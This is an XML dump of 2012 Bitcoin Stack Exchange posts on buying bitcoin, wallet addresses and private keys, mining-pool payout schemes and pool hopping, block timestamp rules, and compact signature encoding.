  <row Id="5061" PostTypeId="1" AcceptedAnswerId="5062" CreationDate="2012-10-15T04:01:34.697" Score="8" ViewCount="11288" Body="&lt;p&gt;There seems to be a few services to purchase bitcoins from out there, as in bitinstant, MtGox, bitcoin.de, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know if someone has looked around to find the one with the cheapest transaction fees for buying/selling bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="2063" LastEditorUserId="1842" LastEditDate="2012-10-18T00:13:26.580" LastActivityDate="2013-06-25T19:56:04.800" Title="What is the cheapest Cash-to-Bitcoin Service?" Tags="|services|banks|" AnswerCount="3" CommentCount="3" ClosedDate="2012-11-13T00:45:53.300" ContentLicense="CC BY-SA 3.0" />
  <row Id="5062" PostTypeId="2" ParentId="5061" CreationDate="2012-10-15T05:54:17.613" Score="3" Body="&lt;p&gt;That would probably be either &lt;a href=&quot;http://bitcoin-otc.com/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin OTC&lt;/a&gt; or &lt;a href=&quot;https://localbitcoins.com/&quot; rel=&quot;nofollow&quot;&gt;Local Bitcoins&lt;/a&gt;, as you are trading directly between people. This way you can barter for better rates and you don't have to pay a fee.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-10-15T05:54:17.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5063" PostTypeId="1" CreationDate="2012-10-15T13:33:52.117" Score="6" ViewCount="7042" Body="&lt;p&gt;I am using a Mac and downloaded Bitcoin-Qt as my wallet, and it has &quot;synchronised&quot;. However, I am unable to use this program to generate a new address. I click on &quot;new address&quot;, and all it makes me do is enter an address and name it…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it safe to use a website like &lt;a href=&quot;https://en.wikipedia.org/wiki/History_of_Bitcoin#Theft_and_exchange_shutdowns&quot; rel=&quot;nofollow&quot;&gt;Instawallet&lt;/a&gt; to &quot;create&quot; an address for me, and then  use this address to receive coins with Bitcoin-Qt?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If two different people are using the &lt;em&gt;same&lt;/em&gt; Bitcoin address, in a client like Bitcoin-QT, and if &lt;em&gt;both&lt;/em&gt; receive money to the &lt;em&gt;very&lt;/em&gt; same address, how will the network know who &quot;owns&quot; the bit coins associated to that address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is this &quot;Private Key&quot;? Is there a private key for every Bitcoin address? Where do I find it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, if I want to sell my bitcoins, how does the &quot;Private Key&quot; play into all of this?&lt;/p&gt;&#xA;" OwnerUserId="2066" LastEditorUserId="1405" LastEditorDisplayName="user5954" LastEditDate="2013-12-26T16:49:42.637" LastActivityDate="2013-12-26T16:49:42.637" Title="How do I create a new address in the Bitcoin-Qt client?" Tags="|bitcoin-core|address|private-key|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5064" PostTypeId="2" ParentId="5063" CreationDate="2012-10-15T14:56:47.350" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I click on &quot;new address&quot; and all it makes me do is &lt;strong&gt;enter&lt;/strong&gt; an address and name it…&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Disregard the 'address' field in this dialog, just fill in the 'label' field and hit 'ok'.&#xA;If you are running 7.0 the newly created address will be selected, in earlier versions you will have to search your newly created adddress by its 'label'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know what the 'address' field is for, it never shows a value... &lt;/p&gt;&#xA;" OwnerUserId="2068" LastActivityDate="2012-10-15T14:56:47.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5065" PostTypeId="2" ParentId="5063" CreationDate="2012-10-15T15:52:52.713" Score="4" Body="&lt;p&gt;The address field is unused and disabled - you can't put anything in even if you wanted. It is probably an artifact of reusing the dialog for adding a new sending address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you can't use Instawallet to create an address and import it; and even if such a strange procedure was possible, it would not be safe because then Instawallet would have your private key, which should be kept secret.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the address is generated locally using pseudorandom data, it is inconceivably improbable that 2 people will share an address (it is less likely that it will ever happen to anyone than that I will be struck by lightning while writing this answer). In this highly unlikely event, funds in this address can be spent by either of them, whoever gets to first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every address has an associated private key, which must be kept secret and is what allows the owner to claim funds in that address. Bitcoin-qt stores private keys in the wallet.dat file in the application data directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When sending bitcoins to someone (whether to sell them, donate them or to pay with them), the software internally uses the private key to prove prior ownership of them and announce to the network that they shall now belong to the owner of address X. You don't give your own private key to anyone; the new owner will use his own key to send them from his address.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2012-10-20T19:46:22.147" LastActivityDate="2012-10-20T19:46:22.147" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5068" PostTypeId="2" ParentId="5061" CreationDate="2012-10-15T21:52:25.420" Score="6" Body="&lt;p&gt;In the U.S., the least expensive method is a Dwolla transfer to an exchange that accepts Dwolla (Mt. Gox, and Camp BX).  Dwolla charges $0.25 per transaction when the amount transferred is over $10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quite simply, depositing cash at a bank or 7-11, Walmart, CVS is going to be the fastest and easiest way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One method that was the least expensive, depositing cash at an exchange's bank, is currently unavailable as the exchange that offered that (BitFloor) has suspended that method, temporarily apparently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BitMe offers this but they don't have much liquidity yet (on the sell side) so that might not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are looking to deposit $500 or more, then Bitcoins Direct will accept that cash:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=87094.0&quot; rel=&quot;nofollow&quot;&gt;http://bitcointalk.org/index.php?topic=87094.0&lt;/a&gt; (Deposit cash at Bank of America, Wells Fargo or PNC, minimum $500)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All other cash deposit options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.BitInstant.com&quot; rel=&quot;nofollow&quot;&gt;http://www.BitInstant.com&lt;/a&gt; (Deposit at major banks, 7-11, Walmart, CVS, Moneygram, etc.,)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.BitMe.com&quot; rel=&quot;nofollow&quot;&gt;http://www.BitMe.com&lt;/a&gt; (Deposit cash at Chase)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.BitFloor.com&quot; rel=&quot;nofollow&quot;&gt;http://www.BitFloor.com&lt;/a&gt; (Deposit cash at Chase or Wells Fargo)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.bitinnovate.com&quot; rel=&quot;nofollow&quot;&gt;http://www.bitinnovate.com&lt;/a&gt; (Deposit cash at a bank in Australia &amp;amp; New Zealand)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.CAVirtEx.com&quot; rel=&quot;nofollow&quot;&gt;http://www.CAVirtEx.com&lt;/a&gt; (Deposit cash at several banks)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.Spendbitcoins.com&quot; rel=&quot;nofollow&quot;&gt;http://www.Spendbitcoins.com&lt;/a&gt; (Deposit cash at a bank in Australia)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://BitcoinNordic.com&quot; rel=&quot;nofollow&quot;&gt;http://BitcoinNordic.com&lt;/a&gt; (Purchase CashU or UKash in dozens of countries)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.BTC-E.com&quot; rel=&quot;nofollow&quot;&gt;http://www.BTC-E.com&lt;/a&gt; (Deposit cash (USD) at bank locations in Russia)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.BitNZ.om&quot; rel=&quot;nofollow&quot;&gt;http://www.BitNZ.om&lt;/a&gt; (Deposit cash (NZD) at back locations in New Zealand)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.BitInstant.com&quot; rel=&quot;nofollow&quot;&gt;http://www.BitInstant.com&lt;/a&gt; (In Brazil using Boleto or Banco Recomendito, or in Russia, using Qiwi or Cyberplat.)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.bitXoin.com&quot; rel=&quot;nofollow&quot;&gt;http://www.bitXoin.com&lt;/a&gt; (Deposit cash over the teller at Major Australian Bank Branches)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Alternatives:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are in the U.S., there is one vendor that apparently is offering to sell via credit card.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.quickbitcoins.net&quot; rel=&quot;nofollow&quot;&gt;https://www.quickbitcoins.net&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The fees aren't trivial but you can use a credit card to purchase by using VirWoX where you can buy SLL using your credit card, then trade SLL for BTC:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.VirWoX.com&quot; rel=&quot;nofollow&quot;&gt;http://www.VirWoX.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There possibly are other options that will work for you as well:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Buying_bitcoins&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Buying_bitcoins&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Last of all there is #bitcoin-otc where you can connect with sellers via IRC:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoin-otc.com/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoin-otc.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="-1" LastEditDate="2013-06-25T19:56:04.800" LastActivityDate="2013-06-25T19:56:04.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5072" PostTypeId="1" AcceptedAnswerId="5083" CreationDate="2012-10-16T16:30:27.590" Score="27" ViewCount="28488" Body="&lt;p&gt;What is pool hopping and how do pool hoppers affect other miners?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there ways to prevent it?&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="5406" LastEditDate="2016-01-20T20:57:44.113" LastActivityDate="2019-11-30T22:59:21.330" Title="What is pool hopping?" Tags="|mining-pools|mining-profitability|pool-payout-methods|pool-hopping|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5073" PostTypeId="2" ParentId="5072" CreationDate="2012-10-16T18:53:57.450" Score="8" Body="&lt;p&gt;Pool hopping is a mechanism by which certain miners may exploit the payment mechanisms of pools to dramatically increase personal profits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The original mechanism by which funds were distributed to miners is the simplest and most obvious: Each miner submits &quot;shares&quot; of work and when the pool finds a block, the divide the block reward based on the proportion of the shares - if you did 50% of the work you get 50% of the reward, if you did 3% of the work you get 3% of the reward. Simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately this creates an imbalance wherein blocks solved in less than average time are worth more per share than blocks that took average times or longer to solve. This makes proportional pay systems inherently exploitable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To simplify the concept, imagine you're at the world's strangest casino. The only game in the house is rock-paper-scissors and you're playing against the other patrons. If you win the first game after you sit down at a table, they pay you 10 times your bet. The second game pays 9 times, the third pays 8 and so on until eventually you're not even earning your bet back. It seems obvious that the optimal strategy is to hop from table to table taking advantage of the 10x payout rule as many times as possible without every hitting diminishing returns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pool hopping is much the same. Mathematically it works out that diminishing returns begin when all workers combined have submitted a number of shares approximately equal to 43% of the current difficulty. After this point, your shares aren't worth any more than average and it becomes more profitable to hop to another pool with fewer shares. This strategy produces, on average, about 28% more income for a pool-hopping miner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The effect of pool hopping on the other users of the pool comes from a shift in one factor of mining without a corresponding shift in the other: time vs. hashrate. Without hoppers, the value of shares in a proportional pool differs with time - shares submitted early in a round are worth a great deal more than those submitted later, but as long as hoppers are not present, the value of shares average out to a fair value. While hoppers do not change the average number of shares per block or the number of shares an honest miner submits, they do decrease the &lt;em&gt;duration&lt;/em&gt; of the higher-paying portions of a round. With the most profitable portion of the round taking significantly less time to complete than the remainder, a miner submitting shares at a constant rate will have far more shares on average in the less profitable parts of a round than in the most profitable, thereby reducing their overall average share value. The more hoppers are present, the shorter the profitable span becomes and therefore the more dramatic the effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Preventing pool-hopping is simple: When creating a pool, simply choose an algorithm for funds distribution that has been proven immune or even hostile to hopping - i.e. anything but proportional. When choosing a pool to mine in, one should similarly choose a pool which has chosen a fair payment schema.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2012-10-17T19:04:58.867" LastActivityDate="2012-10-17T19:04:58.867" CommentCount="18" ContentLicense="CC BY-SA 3.0" />
  <row Id="5074" PostTypeId="2" ParentId="1170" CreationDate="2012-10-16T21:59:43.490" Score="1" Body="&lt;p&gt;With more confirmations probability of making a successful double-spend decrease. While it is possible to perform a double-spend with less than 51% of hashing power it requires one to be luckier than the rest of the miners, ie. solve blocks faster than others. This will go on forever (to be correct: it is very unlikely) so the attacker will not be able to fork the whole chain. With pools until very recently controlling 30-40% of total hashing power the 6-confirmation rule would not have been safe if the pool operator had decided to commit a malignant act. &lt;/p&gt;&#xA;" OwnerUserId="2059" LastActivityDate="2012-10-16T21:59:43.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5075" PostTypeId="2" ParentId="5072" CreationDate="2012-10-16T22:37:33.043" Score="3" Body="&lt;p&gt;My first answer only refers to the &quot; how do pool hoppers affect other miners?&quot; part of the question. The loss to full time miners at a standard proportional reward pool can be calculated as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maximum loss of share value for fulltime miners =&lt;br&gt;&#xA; (exp(x) * (x * y * E1(x) + y - 1) - y) / (exp(x) * (y - 1) - y)&lt;br&gt;&#xA;where x = shares already submitted to pool in round as a fraction of difficulty, &#xA;      y = (pool hopper hashrate - fulltime miner hashrate) / (average hashrate up to &quot;hop point&quot;), and &#xA;      E1(x) = Exponential integral (n=1, x)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More details: &lt;a href=&quot;http://organofcorti.blogspot.com.au/2012/08/61-bitlcnet-pool-hopping-and.html&quot; rel=&quot;nofollow&quot;&gt;http://organofcorti.blogspot.com.au/2012/08/61-bitlcnet-pool-hopping-and.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for preventing it, if you're a pool operator use a fair reward method: Pay Per Share, Double Geometric Method or PPLNS. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're a miner, mine at a pool using one of the above reward methods. Either that or mine solo.&lt;/p&gt;&#xA;" OwnerUserId="1611" LastEditorUserId="1611" LastEditDate="2012-10-17T06:58:20.473" LastActivityDate="2012-10-17T06:58:20.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5076" PostTypeId="1" CreationDate="2012-10-17T05:45:29.557" Score="6" ViewCount="2106" Body="&lt;p&gt;From what I understand, the difficulty required by the proof-of-work in bitcoin is a function of block history, specifically the average time between last ~2000 blocks, with the intention that its hovers around the 10 minute mark. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function relies on the timestamp of when the block was created. It occurs to me that when nodes are calculating blocks, they have an incentive to overstate the timestamp (because the difficulty would then be recalculated to allow for quicker mining of new blocks, which would lead to a higher rate at which that node receives rewarded bitcoins).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The protocol states nodes should reject blocks that have timestamps that look invalid (e.g. too far into the future), but again it relies on nodes being honest. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, what is the incentive for miners to not overstate timestamps? Am I right in thinking that if a majority of miners/nodes colluded in overstating + not rejecting invalid timestamps, then the entire bitcoin network would start generating bitcoins faster?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: It occurs to me that as the total pool of bitcoins increases + rate of reward halves every 4 years, this 'speeding up' of the bitcoin block generation has less and less impact. &lt;/p&gt;&#xA;" OwnerUserId="2030" LastActivityDate="2012-10-17T06:15:59.737" Title="What stops miners/nodes lying about what time a block was mined?" Tags="|attack|timestamp|block-interval|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5077" PostTypeId="2" ParentId="5076" CreationDate="2012-10-17T06:13:51.517" Score="3" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;A timestamp is accepted as valid if it is greater than the median timestamp of previous 11 blocks, and less than the network-adjusted time + 2 hours. &amp;quot;Network-adjusted time&amp;quot; is the median of the timestamps returned by all nodes connected to you.&lt;/p&gt;&#xA;&lt;p&gt;Whenever a node connects to another node, it gets a UTC timestamp from it, and stores its offset from node-local UTC. The network-adjusted time is then the node-local UTC plus the median offset from all connected nodes. Network time is never adjusted more than 70 minutes from local system time, however.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Block_timestamp&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://en.bitcoin.it/wiki/Block_timestamp&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;So, if you want your block accepted by other nodes, you won't mess with anything close to deviating from the current time by two hours.&lt;/p&gt;&#xA;&lt;p&gt;But the protocol doesn't care how many blocks are being mined, it only will use those durations of the past 2,016 blocks to adjust difficulty when that periodic event occurs.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2012-10-17T06:13:51.517" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5078" PostTypeId="2" ParentId="5076" CreationDate="2012-10-17T06:15:59.737" Score="3" Body="&lt;p&gt;The major factor for pools is that if they do that, their blocks might get rejected by the network and the honest nodes. That would mean not only loss of profits for the pool and the miners, but also a loss of confidence. Both of those factors might result in the pool losing its miners and hashpower.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-10-17T06:15:59.737" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5079" PostTypeId="1" AcceptedAnswerId="5087" CreationDate="2012-10-17T09:49:33.103" Score="5" ViewCount="3941" Body="&lt;p&gt;I have not yet sent money to anyone. I was wondering if there is any way to control which address shows up in the block chain as the sending address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say I receive money on addresses A, B, C.&#xA;I want to send money to someone from a totally unrelated address D. How to do this using the bitcoin client. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I want to unlink addresses (A, B, C) from D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when I send money, the sender should be D, and there should be no transactions from any of (A, B, C) to D, directly or in a chain. I guess this is not possible without 3rd party help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I fear that the ability to follow transactions in a chain will eventually reveal enough information about identity of users. So there should be a way to send/receive from two complietely unlinked addresses. (linked = connected via a transaction chain). &lt;/p&gt;&#xA;" OwnerUserId="2075" LastEditorUserId="2075" LastEditDate="2012-10-18T06:57:11.247" LastActivityDate="2012-10-18T06:57:11.247" Title="when I send money from my wallet, which address shows up as &quot;sender&quot;?" Tags="|transactions|sending|" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5080" PostTypeId="2" ParentId="4014" CreationDate="2012-10-17T10:58:56.327" Score="1" Body="&lt;p&gt;There are some pools which allow mining through port 80, e.g. port80.btcguild.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I still search for a encrypted connection through HTTPS/ port 443. Anybody?&lt;/p&gt;&#xA;" OwnerUserId="2076" LastActivityDate="2012-10-17T10:58:56.327" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5081" PostTypeId="2" ParentId="5045" CreationDate="2012-10-17T11:38:46.580" Score="1" Body="&lt;p&gt;If you know your estimated hashrate and power consumption, or can estimate it using the &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;wiki&lt;/a&gt;, you can work it out for yourself:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Estimated earnings / sec = Ghps * 1e09 / 2^32 * B / D * exch.rate - elec.cost / 1e03 / 3600 * watts&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Ghps&lt;/strong&gt; = estimated device hashrate in Ghps&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;B&lt;/strong&gt; = bitcoin block reward, currently 50 btc, soon to be halved to 25 btc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;D&lt;/strong&gt; = mining difficulty, currently 3072321&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;exchange rate&lt;/strong&gt; = btc to your currency exchange rate&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;elec.cost&lt;/strong&gt; = cost of your electricity in your currency&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;watts&lt;/strong&gt; = the estimated power consumption of your computer + GPU&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As long as the estimated earnings are &gt; 0 and you don't have to outlay anything, mining won't cost you.&lt;/p&gt;&#xA;" OwnerUserId="1611" LastActivityDate="2012-10-17T11:38:46.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5082" PostTypeId="1" AcceptedAnswerId="5089" CreationDate="2012-10-17T19:43:01.503" Score="6" ViewCount="457" Body="&lt;p&gt;There's a hard-coded 27 value in Bitcoin's encoding of Compact Signatures that I don't understand:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.7.1/src/key.cpp#L333&quot;&gt;https://github.com/bitcoin/bitcoin/blob/v0.7.1/src/key.cpp#L333&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get that the need to encode the &lt;code&gt;nRecId&lt;/code&gt; to disambiguate the correct recovered key, but I don't understand the 27 (or for that matter why &lt;code&gt;fCompressedPubKey&lt;/code&gt; is encoded as a 4).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.7.1/src/key.cpp#L351&quot;&gt;decoder requires&lt;/a&gt; the first byte be between 27 and 35, but then just subtracts the hard-coded 27 sans explanation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It this poor man's bitmasking? It there something in the protocol that Compact Signature's can't begin with a 0x00 and this is a weird work-around? Perhaps it's acting as a sort of magic cookie?&lt;/p&gt;&#xA;" OwnerUserId="2078" LastEditorUserId="2078" LastEditDate="2012-10-17T19:55:47.813" LastActivityDate="2012-10-17T22:37:43.343" Title="Why Do Compact Signatures Need To Start With a Byte 27-35?" Tags="|signature|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5083" PostTypeId="2" ParentId="5072" CreationDate="2012-10-17T20:43:37.460" Score="25" Body="&lt;p&gt;Some mining pools have a reward method for which some times are better to mine than others; normally, miners contribute to the pool equally through good and bad times, and their reward averages out to what is statistically expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pool-hopping is the practice of mining in a pool only during the good times, and leaving during the bad times; by so doing, a pool-hopper can get more out of the pool than the value they contribute to it, increasing their rewards at the expense of other miners. Pool-hopping gets its name from the act of constantly hopping into and out of the pool (to either other pools or solo mining).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most well-known form of pool-hopping is with pools using the proportional method, which is among the oldest, simplest, most widely used and most prone to hopping. By all accounts hopping in this context was first discussed in a paper from January 2011 by Nakamoto Ryo; a more accurate analysis was given shortly after in &lt;a href=&quot;http://bitcoin.atspace.com/poolcheating.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Optimal pool abuse strategy&lt;/a&gt; by Raulo; these results were extended in &lt;a href=&quot;https://bitcoil.co.il/pool_analysis.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Analysis of Bitcoin Pooled Mining Reward Systems&lt;/a&gt; by myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the proportional method, a block's reward is distributed between miners in proportion to the number of shares each of them submitted since the previous block; the reward per share is the block reward divided by the number of shares in the round. Because of this, the reward of a share submitted at any given time is affected by the number of shares already submitted since the last block; a share submitted early in the round will have a higher reward on average than a share submitted later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be shown that until the number of shares in the round is 43.5% of the difficulty, a submitted share will have higher than normal reward on average; the optimal way to exploit a single proportional pool is to mine in it until this point is reached, hop to a different pool, and return when a block is found. The gain that can be achieved by following this strategy is up to 28.1%, depending on the ratio between the hashrates of hoppers and continuous miners in this pool (the more hoppers, the less they will gain). The gain can be higher if more than one proportional pool is taken advantage of (for example, 51.6% can be achieved with 2 pools).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The extra profits of hoppers come at the expense of the continuous miners. The exact loss depends on the ratio between hoppers and continuous miners; when they are equal the loss is about 17.1%, and the theoretical limit when there are only hoppers is 43.5%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Slush's method, which scores shares based on the time they are submitted, was designed to combat pool-hopping, but is only an incomplete solution. SMPPS which strives to converge to the full value of each share in the long run can only be hopped to minimize the time until being paid in full, not to increase the expected reward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modern methods make sure that the reward per share depends only on the future of the pool, not its past. This way, without being able to divine future random events, any time is as good as any other to mine, so there can never be any gain or loss from hopping (with the exception of block-withholding attacks). The most popular such methods are PPS, PPLNS and DGM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Advanced forms of pool-hopping, possible in some naive reward method implementations, include difficulty retarget hopping, tx fee hopping and hashrate fluctuation hopping.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="101023" LastEditDate="2019-11-30T22:59:21.330" LastActivityDate="2019-11-30T22:59:21.330" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="5084" PostTypeId="2" ParentId="5079" CreationDate="2012-10-17T21:47:31.960" Score="1" Body="&lt;p&gt;In every client that I know of today, the sending account is selected automatically for you based on a defined set of rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to control the sending address, you could do so using a client like Multibit, though the process would not exactly be straightforward.  Assuming that you have a Multibit wallet with bitcoins, you would have to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;export your private keys.&lt;/li&gt;&#xA;&lt;li&gt;edit the export file in a text editor to remove all keys except the one that you wish to spend.&lt;/li&gt;&#xA;&lt;li&gt;create a second wallet file in Multibit.&lt;/li&gt;&#xA;&lt;li&gt;import your edited private key file.&lt;/li&gt;&#xA;&lt;li&gt;spend your coins from the new wallet.&lt;/li&gt;&#xA;&lt;li&gt;export the keys from the new wallet file.&lt;/li&gt;&#xA;&lt;li&gt;import the keys from the new wallet file into your old wallet file.&lt;/li&gt;&#xA;&lt;li&gt;delete the new wallet file.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Note, steps 6 and 7 are necessary to capture the change addresses if you did not spend the entire amount in the new wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may also be possible to take that exported private key and import it into an online wallet like BlockChain.info's My Wallet or Mt Gox and spend it from there.&lt;/p&gt;&#xA;" OwnerUserId="1842" LastEditorUserId="1842" LastEditDate="2012-10-17T22:06:25.087" LastActivityDate="2012-10-17T22:06:25.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5085" PostTypeId="2" ParentId="5079" CreationDate="2012-10-17T22:19:45.790" Score="1" Body="&lt;p&gt;You can use Raw transactions to create a spend transaction from A, B, and C to the address D and then spend from D.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Raw_Transactions&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Raw_Transactions&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This obviously links D to A, B and C.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only option to de-link these is to use other coins, similar to what mixing services provide.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-10-17T22:19:45.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
